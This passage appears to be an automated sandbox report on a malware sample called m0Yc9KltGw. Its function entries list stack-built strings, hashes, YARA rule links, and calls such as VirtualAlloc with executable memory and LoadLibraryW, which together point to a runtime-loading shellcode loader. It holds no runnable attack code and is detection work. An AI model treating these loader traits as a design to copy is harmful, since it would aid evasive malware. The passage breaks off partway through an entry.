Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: >NN$L$L$L$L$S$W$W$a$a$a$a$b$b$d$d$i$i$o$o$r$r$r$r$y$y
API String ID: 0-3879096502
Opcode ID: e881999b1ed43ab7143cbdc950c9226169e289cd193abdeb3e7eae512af5fe19
Instruction ID: d79ec0364c571a62af5ead70ba3904561431181fcf8dfab9f3dbed68b76fd190
Opcode Fuzzy Hash: e881999b1ed43ab7143cbdc950c9226169e289cd193abdeb3e7eae512af5fe19
Instruction Fuzzy Hash: 9322E4A1D142689AF720CA24DC44BAAB779FF91314F0481FAD44CAB684D67E4FC5CF62

Function 0296E590 Relevance: 39.7, APIs: 1, Strings: 25, Instructions: 717COMMON

Download Yara Rule

Strings

b, xrefs: 02975CC7
r, xrefs: 02975CDC
s, xrefs: 029757F3
t, xrefs: 029757C2
E, xrefs: 029757AD
s, xrefs: 029757EC
a, xrefs: 02975CD5
e, xrefs: 029757E5
x, xrefs: 029757B4
L, xrefs: 02975C9D
_Q, xrefs: 0296EC29
d, xrefs: 02975CB2
j@h, xrefs: 0296F345
o, xrefs: 029757D7
a, xrefs: 02975CAB
P, xrefs: 029757C9
i, xrefs: 02975CC0
r, xrefs: 029757D0
i, xrefs: 029757BB
c, xrefs: 029757DE
o, xrefs: 02975CA4
W, xrefs: 02975CEA
r, xrefs: 02975CCE
y, xrefs: 02975CE3
L, xrefs: 02975CB9

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: E$L$L$P$W$_Q$a$a$b$c$d$e$i$i$j@h$o$o$r$r$r$s$s$t$x$y
API String ID: 0-3027466465
Opcode ID: f96828ec877bb1996306ece7141a2de6becad934d2914d8ea004012475594c04
Instruction ID: b1da2f7456c639fe745001d362cf316c06aa45f34f8405c8ebe1132a2a9fd362
Opcode Fuzzy Hash: f96828ec877bb1996306ece7141a2de6becad934d2914d8ea004012475594c04
Instruction Fuzzy Hash: 7952DEB5D082688BEB248B24DC48BFABBB5EF81310F0481FAD84D67681D7395AC5CF51

Function 029264D4 Relevance: 39.6, APIs: 1, Strings: 25, Instructions: 598COMMON

Download Yara Rule

Strings

W, xrefs: 02926723
o, xrefs: 029266DD
y, xrefs: 02927AE7
L, xrefs: 029266F2
r, xrefs: 02926707
L, xrefs: 02927ABD
a, xrefs: 02927AAF
a, xrefs: 0292670E
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
L, xrefs: 029266D6
a, xrefs: 029266E4
r, xrefs: 02927AE0
S, xrefs: 029276A6
d, xrefs: 029266EB
i, xrefs: 029266F9
W, xrefs: 02927AEE
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: L$L$L$L$S$W$W$a$a$a$a$b$b$d$d$i$i$o$o$r$r$r$r$y$y
API String ID: 0-433306928
Opcode ID: a287472b6b1289fc704edc89d1c75ffd0620fe808409bf2921cc3b80dccf8ad0
Instruction ID: d4a89a2991eafe5cdbf23090c9f35c711a6628e3c9fd141693aa58876c59f600
Opcode Fuzzy Hash: a287472b6b1289fc704edc89d1c75ffd0620fe808409bf2921cc3b80dccf8ad0
Instruction Fuzzy Hash: A132E1A1D142689AF720CB24DC44BAABB79FF90314F0481FAD54CA7684D67A4FC5CF62

Function 029262A6 Relevance: 39.5, APIs: 1, Strings: 25, Instructions: 534COMMON

Download Yara Rule

Strings

W, xrefs: 02926723
o, xrefs: 029266DD
y, xrefs: 02927AE7
L, xrefs: 029266F2
r, xrefs: 02926707
L, xrefs: 02927ABD
a, xrefs: 02927AAF
a, xrefs: 0292670E
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
L, xrefs: 029266D6
a, xrefs: 029266E4
r, xrefs: 02927AE0
S, xrefs: 029276A6
d, xrefs: 029266EB
i, xrefs: 029266F9
W, xrefs: 02927AEE
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: L$L$L$L$S$W$W$a$a$a$a$b$b$d$d$i$i$o$o$r$r$r$r$y$y
API String ID: 0-433306928
Opcode ID: 9f57e03294e69de9fd208771dc716e6418ab55c731ebc972fe8970e010c3b31c
Instruction ID: dc1c136d668db221d6279a27a0128ee9205bb3f71530f00ebda6b7747e5ca334
Opcode Fuzzy Hash: 9f57e03294e69de9fd208771dc716e6418ab55c731ebc972fe8970e010c3b31c
Instruction Fuzzy Hash: 6322E4A1D142689AF720CA24DC44BAAB779FF91310F0481FAD44CAB684D67E4FC5CF62

Function 029262F8 Relevance: 39.5, APIs: 1, Strings: 25, Instructions: 516COMMON

Download Yara Rule

Strings

W, xrefs: 02926723
o, xrefs: 029266DD
y, xrefs: 02927AE7
L, xrefs: 029266F2
r, xrefs: 02926707
L, xrefs: 02927ABD
a, xrefs: 02927AAF
a, xrefs: 0292670E
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
L, xrefs: 029266D6
a, xrefs: 029266E4
r, xrefs: 02927AE0
S, xrefs: 029276A6
d, xrefs: 029266EB
i, xrefs: 029266F9
W, xrefs: 02927AEE
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: L$L$L$L$S$W$W$a$a$a$a$b$b$d$d$i$i$o$o$r$r$r$r$y$y
API String ID: 0-433306928
Opcode ID: 29c97412f184147f3501c4df9ab9ceaf2f4dfed6bea7654bb0d8064f28433938
Instruction ID: 8c7027c58cbfed0e3e75eed80786482835e7b1e409138d3bdabcf6983b8377fb
Opcode Fuzzy Hash: 29c97412f184147f3501c4df9ab9ceaf2f4dfed6bea7654bb0d8064f28433938
Instruction Fuzzy Hash: A212D7A1D142A89AF720CA24DC44BAAB779FF91310F0481FAD44DA7684D67E4FC5CF62

Function 029266C7 Relevance: 39.4, APIs: 1, Strings: 25, Instructions: 447COMMON

Download Yara Rule

Strings

W, xrefs: 02926723
o, xrefs: 029266DD
y, xrefs: 02927AE7
L, xrefs: 029266F2
r, xrefs: 02926707
L, xrefs: 02927ABD
a, xrefs: 02927AAF
a, xrefs: 0292670E
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
L, xrefs: 029266D6
a, xrefs: 029266E4
r, xrefs: 02927AE0
S, xrefs: 029276A6
d, xrefs: 029266EB
i, xrefs: 029266F9
W, xrefs: 02927AEE
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: L$L$L$L$S$W$W$a$a$a$a$b$b$d$d$i$i$o$o$r$r$r$r$y$y
API String ID: 0-433306928
Opcode ID: 21e6af293b90cc5842f28fbf4448fc108141afab4e0ba87bbc0425a1281bf999
Instruction ID: fb9e57fe04390d43c88352d1b02167b7909c3be95ec01227db7d36c8e76ff03b
Opcode Fuzzy Hash: 21e6af293b90cc5842f28fbf4448fc108141afab4e0ba87bbc0425a1281bf999
Instruction Fuzzy Hash: 8802D5A1D142A89BF720CA24DC44BAAB779FF91314F0481FAD44CA7684D67E1FC58F62

Function 0296EB78 Relevance: 39.3, APIs: 1, Strings: 25, Instructions: 348memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,00003000,00000040), ref: 0296F35A

Strings

b, xrefs: 02975CC7
r, xrefs: 02975CDC
s, xrefs: 029757F3
t, xrefs: 029757C2
E, xrefs: 029757AD
s, xrefs: 029757EC
a, xrefs: 02975CD5
e, xrefs: 029757E5
x, xrefs: 029757B4
L, xrefs: 02975C9D
_Q, xrefs: 0296EC29
d, xrefs: 02975CB2
j@h, xrefs: 0296F345
o, xrefs: 029757D7
a, xrefs: 02975CAB
P, xrefs: 029757C9
i, xrefs: 02975CC0
r, xrefs: 029757D0
i, xrefs: 029757BB
c, xrefs: 029757DE
o, xrefs: 02975CA4
W, xrefs: 02975CEA
r, xrefs: 02975CCE
y, xrefs: 02975CE3
L, xrefs: 02975CB9

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: E$L$L$P$W$_Q$a$a$b$c$d$e$i$i$j@h$o$o$r$r$r$s$s$t$x$y
API String ID: 4275171209-3027466465
Opcode ID: 8da3498c8f1cb218593b01caab40e5b19f40af05376991f8f606b1d6be9f2401
Instruction ID: e3367b3cabd6d516aa7f7309cc18f3fb569a0b02f402a6b0eaa78b550f1d6d33
Opcode Fuzzy Hash: 8da3498c8f1cb218593b01caab40e5b19f40af05376991f8f606b1d6be9f2401
Instruction Fuzzy Hash: FDD1F3B1D082689AF7248B24DC08BEABBB5EF91310F0441FAD44D67681D67E1BD5CF62

Function 029266CE Relevance: 37.9, APIs: 1, Strings: 24, Instructions: 444COMMON

Download Yara Rule

Strings

W, xrefs: 02926723
r, xrefs: 02927AE0
o, xrefs: 029266DD
y, xrefs: 02927AE7
L, xrefs: 029266F2
r, xrefs: 02926707
S, xrefs: 029276A6
L, xrefs: 02927ABD
d, xrefs: 029266EB
i, xrefs: 029266F9
W, xrefs: 02927AEE
a, xrefs: 02927AAF
a, xrefs: 0292670E
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
i, xrefs: 02927AC4
b, xrefs: 02927ACB
a, xrefs: 029266E4

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: L$L$L$S$W$W$a$a$a$a$b$b$d$d$i$i$o$o$r$r$r$r$y$y
API String ID: 0-205709743
Opcode ID: 5c7baf28767c6873fed527441ffd970fc630bc7072725e030b00b4752a4e276d
Instruction ID: 71c031122fb3a320ddbc2bd947ed58a8d2bab43ea680be7c06350d9c122a7c7c
Opcode Fuzzy Hash: 5c7baf28767c6873fed527441ffd970fc630bc7072725e030b00b4752a4e276d
Instruction Fuzzy Hash: E502E5A1D142A89BF720CA24DC44BAAB779FF91314F0481FAD44CA7684D67E4FC58F62

Function 0296E471 Relevance: 37.9, APIs: 1, Strings: 24, Instructions: 386memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,00003000,00000040), ref: 0296F35A

Strings

L, xrefs: 02975C9D
d, xrefs: 02975CB2
b, xrefs: 02975CC7
j@h, xrefs: 0296F345
o, xrefs: 029757D7
r, xrefs: 02975CDC
a, xrefs: 02975CAB
P, xrefs: 029757C9
s, xrefs: 029757F3
i, xrefs: 02975CC0
r, xrefs: 029757D0
i, xrefs: 029757BB
t, xrefs: 029757C2
E, xrefs: 029757AD
s, xrefs: 029757EC
c, xrefs: 029757DE
a, xrefs: 02975CD5
o, xrefs: 02975CA4
e, xrefs: 029757E5
x, xrefs: 029757B4
W, xrefs: 02975CEA
r, xrefs: 02975CCE
y, xrefs: 02975CE3
L, xrefs: 02975CB9

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: E$L$L$P$W$a$a$b$c$d$e$i$i$j@h$o$o$r$r$r$s$s$t$x$y
API String ID: 4275171209-410011414
Opcode ID: 182c6189fca6c119df229ab6ed70959648d3e570d98d073a1c26de9ed7d5baad
Instruction ID: cafa7bc3e66bc34fc41d5c2d42ed316afaad95d7dfbb6b71229e050349b55c6b
Opcode Fuzzy Hash: 182c6189fca6c119df229ab6ed70959648d3e570d98d073a1c26de9ed7d5baad
Instruction Fuzzy Hash: 04E117B5D08268CAE7208B24DC48BEABBB5EF85314F0480FAD54D67681D77A1BC5CF52

Function 0296EA75 Relevance: 37.8, APIs: 1, Strings: 24, Instructions: 325COMMON

Download Yara Rule

Strings

L, xrefs: 02975C9D
d, xrefs: 02975CB2
b, xrefs: 02975CC7
j@h, xrefs: 0296F345
o, xrefs: 029757D7
r, xrefs: 02975CDC
a, xrefs: 02975CAB
P, xrefs: 029757C9
s, xrefs: 029757F3
i, xrefs: 02975CC0
r, xrefs: 029757D0
i, xrefs: 029757BB
t, xrefs: 029757C2
E, xrefs: 029757AD
s, xrefs: 029757EC
c, xrefs: 029757DE
a, xrefs: 02975CD5
o, xrefs: 02975CA4
e, xrefs: 029757E5
x, xrefs: 029757B4
W, xrefs: 02975CEA
r, xrefs: 02975CCE
y, xrefs: 02975CE3
L, xrefs: 02975CB9

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: E$L$L$P$W$a$a$b$c$d$e$i$i$j@h$o$o$r$r$r$s$s$t$x$y
API String ID: 0-410011414
Opcode ID: 18644b29272693d5f5bb79a58307c37121743a1096aec5c7804e4401ac040275
Instruction ID: 133fa52a8a16edac73658971090279c478a90a216bc2f0d96215a55e8c531fb7
Opcode Fuzzy Hash: 18644b29272693d5f5bb79a58307c37121743a1096aec5c7804e4401ac040275
Instruction Fuzzy Hash: E6C1F5B1C082A88AF7258A24DC58BEA7BB5EF81310F0441FED44E57281D77A1BD5CF62

Function 0296EABA Relevance: 37.8, APIs: 1, Strings: 24, Instructions: 305memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,00003000,00000040), ref: 0296F35A

Strings

L, xrefs: 02975C9D
d, xrefs: 02975CB2
b, xrefs: 02975CC7
j@h, xrefs: 0296F345
o, xrefs: 029757D7
r, xrefs: 02975CDC
a, xrefs: 02975CAB
P, xrefs: 029757C9
s, xrefs: 029757F3
i, xrefs: 02975CC0
r, xrefs: 029757D0
i, xrefs: 029757BB
t, xrefs: 029757C2
E, xrefs: 029757AD
s, xrefs: 029757EC
c, xrefs: 029757DE
a, xrefs: 02975CD5
o, xrefs: 02975CA4
e, xrefs: 029757E5
x, xrefs: 029757B4
W, xrefs: 02975CEA
r, xrefs: 02975CCE
y, xrefs: 02975CE3
L, xrefs: 02975CB9

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: E$L$L$P$W$a$a$b$c$d$e$i$i$j@h$o$o$r$r$r$s$s$t$x$y
API String ID: 4275171209-410011414
Opcode ID: 13200580216242078bca658200621e23ef254a4dbb7c8e17f700551cf4bec2ef
Instruction ID: d1947c83598b4c55a9dfcf8ee0ec7cf59577dc40c12b7e212d2d92a8b0329391
Opcode Fuzzy Hash: 13200580216242078bca658200621e23ef254a4dbb7c8e17f700551cf4bec2ef
Instruction Fuzzy Hash: 53C106B1C082A8DAF7258A24DC18BEA7AB5EF41310F0440FED44E57281D7BA1BD5CF62

Function 0296E6E5 Relevance: 37.8, APIs: 1, Strings: 24, Instructions: 253COMMON

Download Yara Rule

Strings

L, xrefs: 02975C9D
d, xrefs: 02975CB2
b, xrefs: 02975CC7
j@h, xrefs: 0296F345
o, xrefs: 029757D7
r, xrefs: 02975CDC
a, xrefs: 02975CAB
P, xrefs: 029757C9
s, xrefs: 029757F3
i, xrefs: 02975CC0
r, xrefs: 029757D0
i, xrefs: 029757BB
t, xrefs: 029757C2
E, xrefs: 029757AD
s, xrefs: 029757EC
c, xrefs: 029757DE
a, xrefs: 02975CD5
o, xrefs: 02975CA4
e, xrefs: 029757E5
x, xrefs: 029757B4
W, xrefs: 02975CEA
r, xrefs: 02975CCE
y, xrefs: 02975CE3
L, xrefs: 02975CB9

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: E$L$L$P$W$a$a$b$c$d$e$i$i$j@h$o$o$r$r$r$s$s$t$x$y
API String ID: 0-410011414
Opcode ID: ba7fa7033a36338fb45276b8759ac2abcf85794b8e79795e9708f1f89aba7c7c
Instruction ID: 4f310186dbb530bba6b646c2b03183b2ec56052c5b9ba7702f745154faa94dab
Opcode Fuzzy Hash: ba7fa7033a36338fb45276b8759ac2abcf85794b8e79795e9708f1f89aba7c7c
Instruction Fuzzy Hash: 97A108B1D082A8DAF7218624DC18BEA7AB6EF81314F0440F9D44D67681D7BE0BD5CF62

Function 02923E2C Relevance: 30.0, APIs: 2, Strings: 15, Instructions: 268COMMON

Download Yara Rule

Strings

L, xrefs: 02925170
d, xrefs: 02925169
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
o, xrefs: 0292515B
y, xrefs: 0292519A
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02925185
r, xrefs: 02925193
b, xrefs: 0292517E
6:56, xrefs: 02923E38
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: 6:56$=K:3$L$L$W$[P$a$a$b$d$i$o$r$r$y
API String ID: 1029625771-3897388640
Opcode ID: 48219afa09704ccbb10ad32ab13d15c1bfd92d96a3e3d68ad333b473432f9185
Instruction ID: 2d00f492d39d56a4fd473d5c50f77457e87159b6fdadb43db629e364b565ddee
Opcode Fuzzy Hash: 48219afa09704ccbb10ad32ab13d15c1bfd92d96a3e3d68ad333b473432f9185
Instruction Fuzzy Hash: C9A105A1D056A48BFB258B24CC54BAA7B79FF91310F0440F9C44DA7285DB399BC9CF62

Function 02941290 Relevance: 28.6, APIs: 1, Strings: 15, Instructions: 561COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
84F=, xrefs: 02941690
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 84F=$P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-1945703278
Opcode ID: fd65f5f726f44ad746631f01a31276a42a2aa6453a320fbbf9a988918caf193b
Instruction ID: c562cb078df3b81fefd67026c771a1e6f242f55992ebcb370cbe2bb230699dc6
Opcode Fuzzy Hash: fd65f5f726f44ad746631f01a31276a42a2aa6453a320fbbf9a988918caf193b
Instruction Fuzzy Hash: F332BEB1E042688FEB24CB24DC44BEABB75AF85304F0481EAC84D67681DB795EC5CF52

Function 0294160A Relevance: 28.5, APIs: 1, Strings: 15, Instructions: 451COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
84F=, xrefs: 02941690
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 84F=$P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-1945703278
Opcode ID: 402afd742cfd550e9115df9701638e99d2de7c13726ce63e07bbdc3fe4f16eb3
Instruction ID: cced7289121090572d885c776a047acf9b70bd9e2792e15d29f0187525c614d0
Opcode Fuzzy Hash: 402afd742cfd550e9115df9701638e99d2de7c13726ce63e07bbdc3fe4f16eb3
Instruction Fuzzy Hash: 2B02E3B2D082A89EF7208A24DC44BEABB75EF81314F0441FAD44D67681DB795EC5CF62

Function 02941885 Relevance: 28.4, APIs: 1, Strings: 15, Instructions: 420COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
GM@, xrefs: 02941886
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: GM@$P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-1763701335
Opcode ID: 6b62471c4ccdb41a55feed8a6db29f9cbd6f9d7952808055c243aa6eed3020b8
Instruction ID: ecfe5a7506fdbf87f913f2fe9f298bf95dc4027efc8a4baae5df038e182510fb
Opcode Fuzzy Hash: 6b62471c4ccdb41a55feed8a6db29f9cbd6f9d7952808055c243aa6eed3020b8
Instruction Fuzzy Hash: 95F1F4B2D082A89AF7208B24DC44BEABB75EF81314F0441FAD44D67281DB795EC5CF66

Function 02923E3F Relevance: 28.3, APIs: 2, Strings: 14, Instructions: 330COMMON

Download Yara Rule

Strings

L, xrefs: 02925170
d, xrefs: 02925169
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
o, xrefs: 0292515B
y, xrefs: 0292519A
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02925185
r, xrefs: 02925193
b, xrefs: 0292517E
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$W$[P$a$a$b$d$i$o$r$r$y
API String ID: 1029625771-2882651232
Opcode ID: 1c39dbc066e9a7f69074b5ed89bbd19c88bee25a20dd18026d84eab13b275845
Instruction ID: dc7868d0583dbf4d231ebec2ccfec676b1fd46b584bd677ad20e7b4bf50a0e02
Opcode Fuzzy Hash: 1c39dbc066e9a7f69074b5ed89bbd19c88bee25a20dd18026d84eab13b275845
Instruction Fuzzy Hash: 55D1E3A2E056648BE7248B24DC44BEA7B79FF91310F0440F9C44DA7245D7799BC9CF62

Function 0292445D Relevance: 28.3, APIs: 2, Strings: 14, Instructions: 285libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 02924C5D
LoadLibraryW.KERNELBASE(?), ref: 02924C7A

Strings

L, xrefs: 02925170
d, xrefs: 02925169
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
o, xrefs: 0292515B
y, xrefs: 0292519A
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02925185
r, xrefs: 02925193
b, xrefs: 0292517E
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$W$[P$a$a$b$d$i$o$r$r$y
API String ID: 1029625771-2882651232
Opcode ID: d30453edca430401de169f06a1505b3bec133e94d18f18db10041e26839fd97a
Instruction ID: 039a85c7d3beb4861e56d4ed4c7c7bc0eea54f5b73ea54c9613dad6f78a0c6d1
Opcode Fuzzy Hash: d30453edca430401de169f06a1505b3bec133e94d18f18db10041e26839fd97a
Instruction Fuzzy Hash: C4B107A2E056648BFB218B24CC44BEA7B79EF81310F0540F9D44C97285DA799FC5CF62

Function 02924201 Relevance: 28.3, APIs: 2, Strings: 14, Instructions: 283libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 02924C5D
LoadLibraryW.KERNELBASE(?), ref: 02924C7A

Strings

L, xrefs: 02925170
d, xrefs: 02925169
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
o, xrefs: 0292515B
y, xrefs: 0292519A
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02925185
r, xrefs: 02925193
b, xrefs: 0292517E
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$W$[P$a$a$b$d$i$o$r$r$y
API String ID: 1029625771-2882651232
Opcode ID: 9d57368b1bda871436802509e07980821e29f18371baa2b6fcdd426cf690496d
Instruction ID: 4d18db4ab584c95f33f3891c1c7430c4bcca207f92a1e6d729a1fcc457487e9e
Opcode Fuzzy Hash: 9d57368b1bda871436802509e07980821e29f18371baa2b6fcdd426cf690496d
Instruction Fuzzy Hash: E5B106A2E056648BFB258B24CC44BEA7B79EF81310F0540F9D44C97285DA799FC5CF62

Function 02924045 Relevance: 28.3, APIs: 2, Strings: 14, Instructions: 280libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 02924C5D
LoadLibraryW.KERNELBASE(?), ref: 02924C7A

Strings

L, xrefs: 02925170
d, xrefs: 02925169
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
o, xrefs: 0292515B
y, xrefs: 0292519A
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02925185
r, xrefs: 02925193
b, xrefs: 0292517E
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$W$[P$a$a$b$d$i$o$r$r$y
API String ID: 1029625771-2882651232
Opcode ID: 589c9e847aff5695281b04bf6c69ef88ac25404ebb1ed56094368f5b23f0dabb
Instruction ID: bc2d15ab77ed343bc4f94958561871fbae71a5d1a67811ab33814bfc91fe3ef5
Opcode Fuzzy Hash: 589c9e847aff5695281b04bf6c69ef88ac25404ebb1ed56094368f5b23f0dabb
Instruction Fuzzy Hash: 9FB106A1D056A48BFB258B24CC54BEA7B79EF81310F0440F9C44DA7285DB399BC9CF62

Function 0292481E Relevance: 28.3, APIs: 2, Strings: 14, Instructions: 270libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 02924C5D
LoadLibraryW.KERNELBASE(?), ref: 02924C7A

Strings

L, xrefs: 02925170
d, xrefs: 02925169
